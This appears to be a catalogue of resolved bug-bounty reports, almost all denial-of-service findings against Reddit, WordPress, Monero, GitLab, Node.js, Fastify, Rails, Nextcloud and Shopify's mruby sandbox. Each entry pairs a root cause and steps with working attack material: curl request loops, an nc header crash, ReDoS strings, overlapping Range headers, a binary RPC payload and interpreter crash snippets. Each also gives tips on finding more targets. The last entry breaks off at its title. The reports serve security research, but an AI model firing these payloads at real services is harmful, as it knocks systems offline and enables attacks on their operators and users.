Specimen #1237428 · reddit · awarded · 32 votes · resolved
Program redditSurface graphqlTag graphql
Root cause
A write API (CreateVideo) accepted an unbounded string in the 'shoutout' parameter with no length validation; the oversized value is later serialized by every read API that returns the object, throwing INTERNAL_SERVER_ERROR and taking down shared surfaces (trending hashtag feeds, community feeds, profile feeds).
Method
- Find a write/create API field with no server-side length limit
- Store a very long string in that field on an object that appears on shared/aggregated feeds (e.g. a trending hashtag)
- Query the read APIs that render that object; they now return 200 OK with INTERNAL_SERVER_ERROR in the body and drop all other results
CreateVideo mutation with shoutout parameter set to a multi-KB/MB string; then query TagUGC / UserUGC / CommunityPosts
Insight — Stored-then-rendered DoS: the amplification comes from placing the poisoned object on a *shared* resource (trending hashtag), so one oversized field denies the feed to all users. Always test max-length on create/update fields and check whether the bad value breaks aggregate read endpoints.
Real-world example
WordPress xmlrpc.php amplification: system.multicall + pingback.ping
◆ High
Specimen #448524 · formassembly · none · 31 votes · resolved
Program formassemblySurface webTag webhook
Root cause
An exposed WordPress xmlrpc.php exposes system.multicall (batch many method calls in one request, amplifying login brute force) and pingback.ping (server fetches an arbitrary URL, enabling reflected DDoS / SSRF against third parties).
Method
- Probe for xmlrpc.php with a system.listMethods call and confirm pingback.ping / system.multicall are listed
- For brute force: wrap many wp.getUsersBlogs credential guesses in a single system.multicall to bypass per-request rate limits
- For DDoS/SSRF: send pingback.ping pointing sourceUri at an arbitrary victim URL so the server issues the outbound request
POST /xmlrpc.php
<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>
# then, e.g.
<methodCall><methodName>pingback.ping</methodName><params><param><value>http://COLLAB/</value></param><param><value>http://TARGET/?p=1</value></param></params></methodCall>
Insight — xmlrpc.php is a durable recon check: system.listMethods reveals the amplification surface. system.multicall defeats login rate-limiting; pingback.ping is both a DDoS reflector and an SSRF/IP-disclosure vector. Recommend disabling xmlrpc.php entirely.
Real-world example
Unbounded array in P2P protocol request exhausts node memory (Monero/CryptoNote)
◆ High
Specimen #506595 · monero · none · 30 votes · resolved
Program moneroSurface network
Root cause
NOTIFY_REQUEST_GET_OBJECTS accepted a blocks-id array with no upper bound; a peer requesting an enormous number of block IDs forces the node to allocate memory proportional to the request, exhausting free memory. Fixed by rejecting requests over CURRENCY_PROTOCOL_MAX_BLOCKS_REQUEST_COUNT (500) and dropping the connection.
Method
- Connect as a P2P peer to a CryptoNote-family node
- Send NOTIFY_REQUEST_GET_OBJECTS with a very large list of block IDs
- Node allocates unbounded memory building the response and exhausts memory
NOTIFY_REQUEST_GET_OBJECTS { blocks: [<hundreds of thousands of ids>] } # patch caps at 500
Insight — Any protocol handler that reads a count/array length from an untrusted peer and allocates before validating is a memory-DoS. Grep protocol handlers for size()/reserve()/loops over attacker-controlled collections lacking a MAX check.
Real-world example
Unbounded list argument to JSON-RPC method crashes node (Monero get_output_distribution)
◆ High
Specimen #1379707 · monero · none · 28 votes · resolved
Program moneroSurface api
Root cause
The get_output_distribution JSON-RPC method processed an attacker-supplied 'amounts' array with no size limit; a large list ties the node up for ~90 seconds per call and, when large enough, crashes it.
Method
- Send get_output_distribution with a large 'amounts' array to an exposed daemon RPC port
- Node hangs ~90s per call (or crashes at higher counts), denying the method to everyone
values=`echo $(seq 0 500 900000)|sed -e 's/ /,/g'` ; curl http://TARGET:38081/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_output_distribution","params":{"amounts":['$values'],"from_height":100,"cumulative":false}}' -H 'Content-Type: application/json'
Insight — Enumerate every RPC method and test each array/list parameter with large values. Cost is per-element work; the sweet spot is a request cheap to send but expensive to serve. Reduce the count to convert a crash into a sustained slow-DoS.
Real-world example
CPU DoS via markdown reference extraction (GitLab issue preview)
◆ High
Specimen #1543718 · gitlab · USD 7640 · 25 votes · resolved
Program gitlabSurface web
Root cause
Previewing an issue with a description packed with reference-like tokens ('![l' repeated ~349k times) drives GitLab's Banzai reference_extractor / cache_collection_render into expensive per-token processing, burning a full CPU for the 60s request timeout. Parallel requests burn multiple CPUs and take the instance down.
Method
- As any authenticated user, create/preview an issue via the preview_markdown API endpoint
- Set the description to a maximal repetition of a reference-like token
- Each request pins one CPU for 60s; issue many in parallel to exhaust all cores
python -c "print('![l' * int(1048576 / 3 - 1) + '\n')" # feed as issue description, then hit Preview / preview_markdown
Insight — Markdown/reference renderers that scan for links, mentions, or embeds do per-candidate work; a description saturated with candidate tokens yields quadratic/expensive processing. Test preview/render endpoints with maximal-size inputs full of the trigger token, and parallelize to convert per-request CPU into an outage.
Real-world example
Regex-compile DoS via repetitions of empty sub-expressions (Rust regex)
◆ High
Specimen #1518036 · ibb · USD 4000 · 25 votes · resolved
Program ibbSurface other
Root cause
Rust's regex crate guaranteed linear compile time but its memory-based safeguards did not account for repetitions of empty sub-expressions. (?:){N} instructs the compiler to create N empty-subexpression instances that allocate zero bytes (bypassing memory limits) but consume CPU; nesting repetitions gives exponential compile time (CVE-2022-24713).
Method
- Find any service that compiles user-supplied regular expressions
- Submit a regex with a huge repetition count over an empty group, or nested repetitions
- Compilation consumes effectively unbounded CPU while allocating no memory (evading memory guards)
(?:){4294967295}
# exponential variant:
(?:){64}{64}{64}{64}{64}{64}
Insight — When an app accepts untrusted regexes (search filters, log rules, WAF configs), the compiler itself is the DoS surface, not just matching. Memory-based limits miss zero-allocation blowups; the empty-group repetition trick is the canonical bypass. Never compile user regexes without a hard time/complexity budget.
Real-world example
Slow-read / TCP zero-window server-side send-queue memory exhaustion (Monero Epee)
◆ High
Specimen #2912194 · monero · none · 24 votes · resolved
Program moneroSurface network
Root cause
Monero's Epee HTTP/RPC stack builds each full response string and queues it for send. If the client stops reading (advertises TCP zero receive window / delays ACKs), responses accumulate in the server send queue (up to 1000 entries, then a 5-6s grace) and are held in memory regardless of size. Using large-response RPC methods (get_output_distribution ~17MB each) a few slow sockets exhaust node memory in seconds.
Method
- Open one or more RPC sockets to the node's (even restricted) RPC port
- Send requests to methods that generate large responses (get_output_distribution, get_txids_loose) but never read the responses (let the TCP receive window go to zero)
- The server queues all responses in memory; ~16 slow sockets can OOM/kill the node in under 30s
{"jsonrpc":"2.0","id":"0","method":"get_output_distribution","params":{"amounts":[0],"from_height":0,"to_height":3300000,"compress":false}}
// send repeatedly across N sockets, then stop reading the socket to stall TCP
Insight — Slow-read (zero receive window) attacks flip Slowloris around: the server, not the client, buffers. Amplify by choosing endpoints with large responses and no send-queue byte cap. Any server that unboundedly queues outbound data for slow clients is vulnerable - look for missing per-connection send-buffer limits.
Real-world example
Range header DoS via overlapping byte ranges (memory amplification)
◆ High
Specimen #2307813 · rails · none · 24 votes · resolved
Program railsSurface webTag file-upload
Root cause
Rails Active Storage proxy passes the Range header to Rack::Utils.get_byte_ranges which caps each range to file size but does not limit the NUMBER of (overlapping) ranges, so a single header can request the whole file many times.
Method
- Upload/find a proxied blob (rails/active_storage/blobs/proxy/...)
- Send a Range header with many overlapping full-file ranges
- Server buffers each range -> memory blows up per request
Range: bytes=20-200,0-200,0-200,-200,-200,0-200,0-200,...
# get_byte_ranges("bytes=20-200,0-200,0-200,-200,-200",200) => [20..199,0..199,0..199,0..199,0..199]
Insight — On any server that streams multipart/byteranges, fuzz the Range header with hundreds of overlapping ranges. The cap-per-range/no-cap-on-count pattern is a recurring memory-amplification DoS.
Real-world example
Parser infinite loop via zero-length heredoc identifier (mruby sandbox)
◆ High
Specimen #187305 · shopify-scripts · USD 10000 · 23 votes · resolved
Program shopify-scriptsSurface other
Root cause
mruby's parser mishandled a heredoc with an empty identifier (<<''). Certain invalid programs put the parser in a state where it repeatedly emits a bogus tHEREDOC_END token, hits an error, re-enters parse_string, and loops forever - hanging the sandbox and the host MRI process, which becomes unresponsive even to SIGTERM.
Method
- Submit the malformed Ruby snippet to any mruby-based sandbox/evaluator
- The parser enters an infinite loop before execution even begins
- Process consumes CPU indefinitely and ignores SIGTERM (needs SIGKILL)
<<''.a begin
# variation:
<<''.a do
Insight — Parsers/tokenizers are DoS surface before any code runs; feed sandboxes and interpreters malformed edge-case syntax (empty heredoc IDs, unterminated tokens) to find infinite loops. A hang that survives SIGTERM is a strong finding because normal watchdog/timeout kills fail.
Real-world example
__proto__ HTTP header crashes Node via headersDistinct getter
◆ High
Specimen #3560402 · nodejs · none · 22 votes · resolved
Program nodejsSurface web
Root cause
When a request carries a header literally named __proto__ and the app reads req.headersDistinct, dest['__proto__'] resolves to Object.prototype (not undefined), so .push() is called on a non-array. The TypeError is thrown synchronously inside a property getter and cannot be caught by 'error' listeners, crashing the process (CVE-2026-21710).
Method
- Send an HTTP request to any Node server (20.x/22.x/24.x/25.x) with a header named __proto__
- Trigger any code path that accesses req.headersDistinct
- Uncatchable synchronous TypeError -> process crash
printf 'GET / HTTP/1.1\r\nHost: t\r\n__proto__: x\r\n\r\n' | nc TARGET 80
// server-side sink: req.headersDistinct -> dest['__proto__'].push(...) throws
Insight — Prototype-key header/param names (__proto__, constructor, prototype) are a crash primitive whenever a framework indexes a plain object with attacker-controlled keys and then assumes the value type. On Node, try req.headersDistinct/headers with a __proto__ header; more broadly, fuzz any object-keyed lookup with these names.
Real-world example
Connection-slot exhaustion of public read RPC (blockchain validators)
◆ High
Specimen #1695472 · hyperledger · USD 1500 · 20 votes · resolved
Program hyperledgerSurface network
Root cause
Indy validator nodes expose a publicly-readable registry; anyone can open read requests. An attacker holding ~500 parallel connections per node (opening a new one whenever one closes) exhausts the node's connection/processing capacity, making the ledger unreachable (CVE-2022-31006).
Method
- Enumerate the validator nodes (small fixed set)
- From one or more VMs, open ~500 parallel read connections per node and keep them saturated (open new as old close)
- Inflate each read request with random header/json bytes and throttle sender bandwidth (tc) to hold slots longer
- Legit clients see multi-second latency or full unavailability for the duration
# concept: comment out client timeouts (indy-vdr) and hold 500 conns/node
# tc qdisc add dev eth0 root tbf rate 200kbit ... (limit bandwidth to keep connections alive)
Insight — For any small, fixed-size cluster serving unauthenticated reads (validators, seed nodes, public APIs), connection-slot exhaustion beats bandwidth flooding: keep the limited slots occupied. Bandwidth-throttling your own client and padding requests makes each held connection cheap for you and expensive for the target. Firewall size limits help but risk blocking legit large requests.
Real-world example
Rate-limit/brute-force delay turned into a worker-exhaustion DoS
◆ High
Specimen #812754 · nextcloud · awarded · 20 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud's brute-force protection deliberately makes each password-reset request block ~30 seconds. Because each blocked request occupies a PHP-FPM worker for the full delay, a burst of reset requests ties up the entire worker pool, making the whole install (or server) unresponsive (CVE-2020-8295).
Method
- Open the login page, submit 'Forgot password?' with any value
- Rapidly fire many reset requests (hold Enter / script the POST)
- Each is artificially delayed ~30s and pins a worker; ~1000 requests made a demo server unresponsive for ~1 hour
for i in $(seq 1 1000); do curl -s -o /dev/null 'https://TARGET/index.php/lostpassword/email' --data 'user=whatever' & done
Insight — Security controls that ADD latency (intentional delays, expensive KDF on every attempt, sleep-on-failure) are DoS amplifiers when they hold a limited worker/thread for the delay. When you see an artificial slowdown on an unauthenticated endpoint, measure worker-pool exhaustion. General lesson: a defensive sleep on a synchronous worker is a footgun.
Real-world example
WordPress load-scripts.php unauthenticated resource-exhaustion DoS
◆ High
Specimen #946578 · mtn_group · none · 18 votes · resolved
Program mtn_groupSurface web
Root cause
wp-admin/load-scripts.php concatenates every requested registered script server-side without auth; passing the full known module list forces heavy CPU/IO per request (CVE-2018-6389).
Method
- GET /wp-admin/load-scripts.php?load=<full comma-separated list of registered handles>
- Repeat concurrently to exhaust server CPU/memory
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,...,svg-painter HTTP/1.1
Insight — Look for unauthenticated aggregator/bundler endpoints (script/style concatenators, export/report builders) where one small request causes large server work - amplification, not volume, is the DoS. The registered-handle list is public per CMS.
Real-world example
ReDoS via catastrophic backtracking in a header/attribute regex
◆ High
Specimen #1489141 · rails · none · 18 votes · resolved
Program railsSurface webTag file-upload
Root cause
An inefficient regular expression (Rack::Multipart::RFC2183, parsing the Content-Disposition header) exhibits exponential backtracking on crafted input, so a single small request can pin a CPU core for tens of seconds.
Method
- Identify regexes that parse attacker-controlled headers/attributes; test them with a ReDoS detector such as `recheck`.
- Craft input that maximizes ambiguous overlap (repeated groups the engine must try many ways).
- Send it in the vulnerable header (here, a multipart part's Content-Disposition) and observe multi-second CPU burn; scale repetition length to amplify.
# amplifying Content-Disposition value fed to Rack::Multipart::RFC2183
"Content-Disposition:G;\f=\"" + ("=;1=\";\fD=\";t*1*" * 27) + "="
# ~27 repeats already drives ~20s CPU in the reporter's benchmark
Insight — Any regex run over attacker-controlled header/attribute text is a ReDoS candidate; run library regexes through `recheck` / rxxr2. Ruby/Rack multipart and HTML-sanitizer regexes have repeatedly been vulnerable. A tiny request body is enough - no volume needed for DoS.
Real-world example
Prototype-property Content-Type crashes Fastify parser lookup
◆ High
Specimen #1715536 · fastify · none · 17 votes · resolved
Program fastifySurface web
Root cause
Fastify's ContentTypeParser.getParser() checks `contentType in this.customParsers` on a plain object. Passing an inherited Object property name (constructor, __proto__, toString) makes `in` true and returns the prototype member (e.g. [Function: Object]) instead of a parser; parser.fn is then undefined and calling it throws TypeError, crashing the server (CVE-2022-39288).
Method
- Start any Fastify (<4.6.1) server that accepts a body
- Send a request with Content-Type: constructor (or any Object.prototype key)
- getParser returns a non-parser, parser.fn is not a function -> uncaught crash
curl -X POST http://TARGET:3000 -H 'Content-Type: constructor'
Insight — Any dictionary lookup using the `in` operator or bracket access on a plain object with attacker-controlled keys is vulnerable to prototype-property names. Test constructor/__proto__/prototype/toString as header values, route params, JSON keys. Fix pattern: Object.create(null) maps or hasOwnProperty checks. Same root family as Node __proto__ crash (#3560402) and lodash pollution (#712065).
Real-world example
Session-cookie value written as unbounded cache files -> disk-fill DoS
◆ High
Specimen #406614 · ui · awarded · 15 votes · resolved
Program uiSurface networkChain Value-length threshold also yields full-path disclosure (inf
Root cause
EdgeMax's web portal (Beaker sessions) writes each distinct beaker.session.id to a *.cache file in /var/run/beaker/container_file/ with no cleanup or cap. Iterating unique session-id values fills the small /run tmpfs; once full the portal errors, then /var/log fills, then the device stops responding until power-cycled. A value >=250 chars additionally triggers full-path disclosure.
Method
- Send requests to the portal each with a unique beaker.session.id cookie (<=249 chars)
- Each spawns a new *.cache file; loop (e.g. ids 1..15681) to fill /run
- Portal returns 500/python errors at ~50% full; continue to fully brick the device until reboot
- (Aside) a >=250-char beaker.session.id triggers a full-path-disclosure error page
for i in $(seq 1 20000); do curl -s -o /dev/null 'http://TARGET/' -H "Cookie: beaker.session.id=sess$i"; done
Insight — Server-side session/temp files keyed on an attacker-controlled cookie with no eviction = a disk-exhaustion DoS. Look for frameworks (Beaker, PHP file sessions) that persist a file per session id; unauthenticated requests each mint a new file. On appliances/routers the tiny /run or /var partition makes this a full device brick. Also probe oversized cookie values for path-disclosure error pages.
Real-world example
Persistent per-user DoS via malformed array-typed profile param
◆ High
Specimen #451052 · infogram · none · 15 votes · resolved
Program infogramSurface apiChain malformed stored value -> persistent 500 -> account loTag account-takeover
Root cause
Sending an array where a string is expected (language[]=en) to a self-update endpoint stores a value that the app cannot render, causing a permanent 500 on every subsequent request for that user - the error persists across re-login.
Method
- Find a user-update endpoint (e.g. /api/users/me)
- Submit a param as an array instead of scalar: language[]=en
- The malformed value is persisted
- Every later page load for that account throws 500, surviving logout/login (permanent lock)
POST /api/users/me
language[]=en # instead of language=en
Insight — Type-confusion on stored user settings is a stored-DoS primitive: array/object where scalar expected, oversized values, or invalid enums that the read path cannot handle. Because it persists, it can hard-lock accounts; test whether it is reachable via CSRF for weaponization against others.
Real-world example
mruby native segfault: aliasing Object#send over initialize
◆ High
Specimen #183425 · shopify-scripts · USD 8000 · 14 votes · resolved
Program shopify-scriptsSurface other
Root cause
A sandboxed script interpreter lets Ruby-level methods be aliased over methods that C code calls internally; aliasing Object#send over initialize makes the C Class#new invoke send with attacker-controlled args, driving mruby into an unsupported call path that segfaults.
Method
- Define a target method (def foo; end)
- Alias initialize to send in a class
- Call X.new.send(:foo) so C-level new -> send -> foo crashes the interpreter
def foo
end
class X
alias_method :initialize, :send
end
X.new.send(:foo)
Insight — When auditing sandboxed script engines (mruby, Lua, JS isolates), look for methods the native runtime calls implicitly (initialize, to_s, coerce) and alias/override them to reach unexpected C call paths — a reliable native-crash / sandbox-escape primitive.
Real-world example
mruby sandbox crash via Exception#to_s returning nil
◆ High
Specimen #180977 · shopify-scripts · awarded · 13 votes · resolved
Program shopify-scriptsSurface other
Root cause
Overriding to_s on a raised Exception to return a non-String (nil) breaks the host's error-extraction path (mrb_string_value_cstr on a non-string), triggering abort() and terminating the whole Ruby process.
Method
- Subclass Exception and override to_s to return nil
- raise it from sandboxed evaluation
- Host tries to stringify the exception message -> abort()/SIGABRT kills the process
class A < Exception
def to_s
end
end
raise A.new
Insight — Hosts embedding a script sandbox must survive hostile error objects. Override to_s/message/inspect on exceptions to return nil or wrong types and see if the native error-reporting path crashes — a common sandbox-escape/DoS.
Real-world example
Unbounded HTTP chunk-extension bytes bypass request limits (CVE-2024-22019)
◆ High
Specimen #2233486 · nodejs · none · 13 votes · resolved
Program nodejsSurface web
Root cause
The HTTP parser placed no cap on chunk-extension bytes in a chunked-encoded request, so a single connection can stream an unbounded number of extension bytes, exhausting CPU/bandwidth while bypassing timeouts and body-size limits (extension bytes aren't body).
Method
- Open a keep-alive connection to a chunked-accepting HTTP server
- Send a chunked request where each chunk carries an enormous chunk-extension (e.g. '1;<megabytes of ext>\r\nX\r\n')
- Server reads/parses unbounded bytes per connection -> CPU/network exhaustion
POST / HTTP/1.1
Host: TARGET
Transfer-Encoding: chunked
1;AAAAAAAA...(unbounded chunk-extension bytes)...
A
0
Insight — Body-size and timeout guards often don't count protocol framing bytes. Attack the parts of the framing that are unbounded by spec but unmeasured by the app: chunk extensions, header names, trailer fields, HTTP/2 CONTINUATION frames.
Real-world example
WordPress load-scripts.php unauthenticated amplification DoS (CVE-2018-6389)
◆ High
Specimen #925425 · mtn_group · none · 12 votes · resolved
Program mtn_groupSurface web
Root cause
WordPress's load-scripts.php concatenates every registered script named in the ?load= list with no auth and no cap; requesting the full known script list forces the server to read/concat ~180 files per request, and repeating it exhausts CPU/memory.
Method
- GET /wp-admin/load-scripts.php?load=<full comma-separated list of every registered handle>
- Automate the request in a loop / many threads to exhaust server resources
- Same class applies to load-styles.php
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,...,jquery,jquery-ui-core,...,svg-painter HTTP/1.1
Insight — Any endpoint that bundles a caller-controlled list of server-side resources (module/script/style concatenators, export bundlers) is a cheap amplification-DoS vector. Fix pattern seen: block query strings over N chars via rewrite rule.
Real-world example
Monero rpc unsanitized count -> near-infinite loop
◆ High
Specimen #391611 · monero · none · 12 votes · resolved
Program moneroSurface api
Root cause
get_random_rct_outs.bin takes a uint64 outs_count with no upper-bound check; the sampler loops until it draws outs_count unique random outputs, and a triangular distribution makes low indices nearly impossible, so a count near the total makes it loop forever while holding m_blockchain_lock.
Method
- Learn current num_outs from any synced node
- Send a serialized get_random_rct_outs.bin request with outs_count set at/near num_outs
- Handler loops indefinitely, pegs CPU, and blocks other requests via the held blockchain lock
echo "011101010101020101040a6f7574735f636f756e74059557670000000000" | xxd -r -p | curl -i -X POST --data-binary @- http://TARGET:18081/get_random_rct_outs.bin
# last 8 bytes = little-endian outs_count
Insight — Any endpoint taking a caller-specified count/limit that drives a rejection-sampling or dedup loop can be starved: request a count near the population size so the loop can never complete. Check that lock-holding handlers validate ranges the way sibling handlers do.
Real-world example
HyperLedger Fabric remote nil-pointer-deref crash (CVE-2022-36023)
◆ High
Specimen #1635854 · hyperledger · awarded · 12 votes · resolved
Program hyperledgerSurface network
Root cause
A crafted gRPC request to the Fabric gateway/peer triggers an invalid memory access / nil pointer dereference, crashing peers remotely and unauthenticated (TLS verify skipped in PoC), repeatable against any peer.
Method
- Bring up the Fabric test network
- Dial the peer gateway over gRPC (InsecureSkipVerify TLS)
- Send the crafted gateway/peer request from the PoC -> peer panics/crashes
go run poc.go -server=TARGET:7051
// grpc.Dial(srv, WithTransportCredentials(NewTLS({InsecureSkipVerify:true}))) then send crafted gateway request
Insight — gRPC service surfaces on infra/blockchain nodes are under-fuzzed. Reflect/introspect the proto, then send messages with missing/empty required sub-fields to hit nil-deref panics in Go services (unrecovered panics = crash).
Real-world example
Content-Length-trusted size check vs full body read
◆ High
Specimen #203388 · gratipay · none · 11 votes · resolved
Program gratipaySurface web
Root cause
The upload handler rejects requests whose Content-Length header exceeds 256KB, but then reads the entire raw body into memory; forging a small Content-Length while sending a huge body bypasses the guard and lets an attacker read an arbitrarily large file into RAM.
Method
- Send an upload with a real body far larger than the limit
- Set Content-Length header below 256*1024 to pass the check
- Server reads the full raw_body into a variable -> memory-exhaustion DoS
curl -H 'Content-Type: image/png' -H 'Content-Length: 1000' --data-binary @huge_file http://TARGET/v1
# real transferred body >> declared Content-Length
Insight — Never trust Content-Length for size enforcement — enforce on bytes actually read/streamed. Any check of the header followed by a full-body read (StringIO(request.raw_body)) is bypassable by lying in the header.
Real-world example
mruby CALL_MAXARGS (127) boundary segfault
◆ High
Specimen #182484 · shopify-scripts · USD 10000 · 10 votes · resolved
Program shopify-scriptsSurface other
Root cause
gen_values special-cases >126 args by wrapping them into an array, but with exactly 127 args the loop exits before the special case fires, so downstream code treats the first fixnum argument as an array and dereferences a NULL pointer (ARY_SHARED_P on NULL) -> segfault in both mruby and parent MRI.
Method
- Write a method call with exactly 127 arguments (all 0)
- Run under mruby/sandbox
- gen_values mishandles the n==CALL_MAXARGS boundary -> NULL deref segfault
x 0,0,0,...(exactly 127 zero arguments)...,0
Insight — Off-by-one at hardcoded limits (CALL_MAXARGS/127, 255, 65535) is a rich crash class in parsers/codegen. When a code path special-cases '>= N', probe exactly N and N-1: boundary values often skip the special handling and hit an unguarded pointer.
Real-world example
mruby parser NULL deref on ternary with spaced empty-arg call
◆ High
Specimen #181677 · shopify-scripts · awarded · 10 votes · resolved
Program shopify-scriptsSurface other
Root cause
Parsing a ternary whose condition is a method call written as 'a ()' (space before empty parens) produces an AST node whose car is NULL; codegen's NODE_IF path dereferences tree->cdr->cdr->car / tree->car->car on the NULL, segfaulting the interpreter.
Method
- Write: b = a () ? 1 : 0 (note the space between a and ())
- Run under mruby/sandbox
- codegen hits a NULL AST node in the NODE_IF/ternary path -> SIGSEGV
b = a () ? 1 : 0
Insight — Whitespace-sensitive parsing corner cases (method-call vs grouped-expression ambiguity) are a fertile crash source. Fuzz parsers with subtle spacing around parens/operators inside conditionals; NULL AST children reaching codegen are common unguarded-pointer crashes.
Real-world example
HTTP/2 protocol-abuse DoS vector catalogue (dribble, ping/reset flood, 0-length headers, priority shuffle, internal buffering)
◆ High
Specimen #589739 · nodejs · none · 9 votes · resolved
Program nodejsSurface web
Root cause
HTTP/2 multiplexing/flow-control/priority features let a client force a server to queue large amounts of data or control state in memory: requesting big responses across many streams while manipulating window sizes, flooding PING/RST_STREAM control messages, shuffling stream priorities, or sending endless 0-length headers that never hit size limits.
Method
- Data dribble: request a large resource on ~100 streams, manipulate window size + priority so the server queues data in 1-byte chunks.
- Ping flood: send control messages up to the internal queue cap (~10K) to force the server to hold them in memory.
- Reset flood: open many streams, send an invalid request on each so the server queues RST_STREAM responses until OOM.
- 0-length headers leak: stream headers with 0-byte name and 0-byte value so cumulative length never exceeds the header-size limit but memory is retained.
- Internal buffering: open the HTTP/2 window but keep the TCP window closed, then request large responses the server queues internally.
# conceptual: 100 streams x 1MB request, window/priority manipulation -> server RSS +~700MB
# 0-length headers: repeated HEADERS frames with name-len=0 value-len=0
# reset flood: N streams each with an invalid request -> queued RST_STREAM until OOM
# 100k requests in few SSL frames then close -> Node temporarily ~12GB RSS
Insight — When a target speaks HTTP/2, test the protocol machinery (streams, flow control, priority tree, control-frame queues), not just endpoints. These same primitives underlie later CVEs (Rapid Reset). Watch server RSS/CPU while varying stream count and frame packing.
Real-world example
Crashing an embedded scripting sandbox (Shopify mruby-engine) via language/codegen edge cases
◆ High
Specimen #181874 · shopify-scripts · awarded · 8 votes · resolved
Program shopify-scriptsSurface other
Root cause
An embedded interpreter exposed as a sandbox will segfault (DoS) when attacker script hits under-tested VM/parser paths: removing core methods to build uninitialized/invalid objects, passing non-symbol args to metaprogramming (remove_method nil/1/Class), invalid codegen for unused negation/splat, or recursion in extend/method_missing. mrb_class's default case dereferences an invalid tagged value.
Method
- Enumerate metaprogramming and core-method entry points reachable in the sandbox (remove_method, extend, dup/clone, splat, case/when).
- Feed type-confused / uninitialized inputs (nil, integer, float, Class where a Symbol is expected; remove initialize_copy then use the object).
- Observe SIGSEGV/SIGABRT in the host process -> service DoS; minimise to a one-liner PoC.
# non-symbol arg to remove_method (#181874) -> mrb_class default-case bad deref:
class Child
remove_method nil # also 1, 2.123, 'aaaa', Child
end
# uninitialized object via method removal (#181685):
Range.remove_method(:initialize_copy); (1..2).dup.to_s
# codegen/parse crashers (#187536 #184712 #181232 #191689):
p *case\n when nil\n -0\n nil\nend
-0E00;0 # NODE_NEGATE assert, attacker-controlled filename_index
# extend recursion (#197694):
module Test end
def method_missing(s) extend(Test) end
def set(v) a.set(0) end
set(0)
Insight — Whenever a service runs user code in a sandboxed VM (mruby, Lua, JS isolate, WASM), fuzz language edge cases: method removal, uninitialized objects, wrong-type metaprogramming args, and parser/codegen corner cases. A host-process crash is a DoS even without escaping the sandbox; some (191689) hinted at attacker-controlled codegen/bytecode.
Real-world example
Malicious image triggers infinite loop in the decoder on server-side resize (libgd GIF, CVE-2018-5711)
◆ High
Specimen #305972 · ibb · 500 · 8 votes · resolved
Program ibbSurface webChain file upload -> server-side image resize -> decoder infTag file-upload
Root cause
gdImageCreateFromGifCtx can be driven into an infinite loop by a crafted GIF; any web app that decodes/resizes user-uploaded GIFs via GD (all PHP versions with GD) hangs and exhausts CPU.
Method
- Find an upload/avatar/thumbnail feature that server-side resizes images with GD.
- Upload a crafted GIF that triggers the decoder infinite loop.
- The worker process spins at 100% CPU on decode; repeat to exhaust the pool.
# crafted GIF per bugs.php.net #75571 -> gdImageCreateFromGifCtx infinite loop
# delivery: upload as avatar/image so the app calls imagecreatefromgif()/resize
Insight — Media-parsing on upload is a rich DoS/crash surface. For any image/pdf/media processing pipeline, fuzz malformed files against the exact decoder library and version the target uses. GD/ImageMagick/libpng/libgd are recurring offenders.
Real-world example
User-typed value into legacy Buffer(arg) -> CPU DoS + uninitialized memory leak
◆ High
Specimen #319532 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface apiChain Buffer(number) -> huge uninitialized allocation -> CPU
Root cause
The proxy-agent passes an attacker-controllable auth option straight to the old Buffer(arg) constructor; when arg is a number Buffer(n) allocates an n-byte uninitialized buffer, so a large number both burns CPU and (on Node <8) leaks uninitialized process memory into the request.
Method
- Reach a setup where auth is user-controlled (e.g. JSON input mapped to proxy options)
- Set auth to a large number (proxy.auth = 1e9)
- Each request allocates a ~1GB uninitialized buffer -> CPU DoS; on Node <8 the buffer contents leak into the outbound request
var HttpsProxyAgent = require('https-proxy-agent');
var proxy = { protocol:'http:', host:'127.0.0.1', port:8080 };
proxy.auth = 1e9; // number, not string
var opts = require('url').parse('https://example.com/');
opts.agent = new HttpsProxyAgent(proxy);
require('https').get(opts); // >1s CPU per call, uninit memory on Node <8
Insight — Grep JS deps for new Buffer(x)/Buffer(x) where x is not guaranteed a string. Any place attacker-typed input (JSON numbers) reaches the legacy Buffer constructor is a DoS + memory-disclosure primitive. Force type: pass a Number where the code expects a String.
Real-world example
Attacker-controlled count sizes a VLA -> stack exhaustion crash
◆ High
Specimen #519120 · monero · none · 7 votes · resolved
Program moneroSurface other
Root cause
tree_hash() allocates a variable-length array on the stack (char ints[cnt][32]) sized by the number of tx_hashes in a block; a crafted block with ~300k hashes reserves >8MB of stack and the subsequent memset overruns the stack, crashing every validating node.
Method
- Craft a block with a very large number of tx_hashes (e.g. 300000), still under CRYPTONOTE_MAX_BLOCK_SIZE
- Have a node parse+validate it and call get_tx_tree_hash
- VLA sizing + memset blows the stack -> crash
cryptonote::block b = AUTO_VAL_INIT(b);
for (size_t i = 0; i < 300000; i++) b.tx_hashes.push_back({});
// serialize b, then on a node: parse_and_validate_block_from_blob(s,b2); get_tx_tree_hash(b2); // crash in tree_hash's stack VLA
Insight — Hunt for stack-allocated arrays whose length comes from untrusted input: char buf[n], alloca(n), or VLAs where n is derived from a packet/block/file field. There is no guard page big enough - a large n crashes the process. Fix pattern is heap allocation. Check that the size bound (block-size limit) actually bounds the count.
Real-world example
ReDoS via catastrophic backtracking in application regex
◆ High
Specimen #888030 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
A regex containing nested/adjacent unbounded quantifiers over an overlapping character class (e.g. ([0-9.]{2,})+ , (a+)+ ) has exponential backtracking; attacker-controlled input that partially matches then fails pins one CPU core, hanging the process/service.
Method
- Locate regexes applied to attacker input (fingerprinting, validators, parsers, header/UA processing).
- Look for nested quantifiers or (group)+ / {n,}+ over overlapping classes.
- Feed a long partially-matching string that forces a final mismatch to trigger backtracking.
- Measure wall-clock/CPU spike; scale input length to extend the hang.
<!-- Wappalyzer: vulnerable regex ([0-9.]{2,})+ -->
<meta name="GENERATOR" content="IMPERIA 46197946197946197946197946197946197946197946197946197966228761662296:"/>
Insight — Grep code for nested quantifiers and (X+)+/{n,}+; any regex run on untrusted input is a ReDoS candidate. The fix pattern used across these reports is to bound input length (Ruby date gem capped at 128 bytes) rather than trust the regex.
Real-world example
ReDoS in key/format parser via (group)+ over whitespace
◆ High
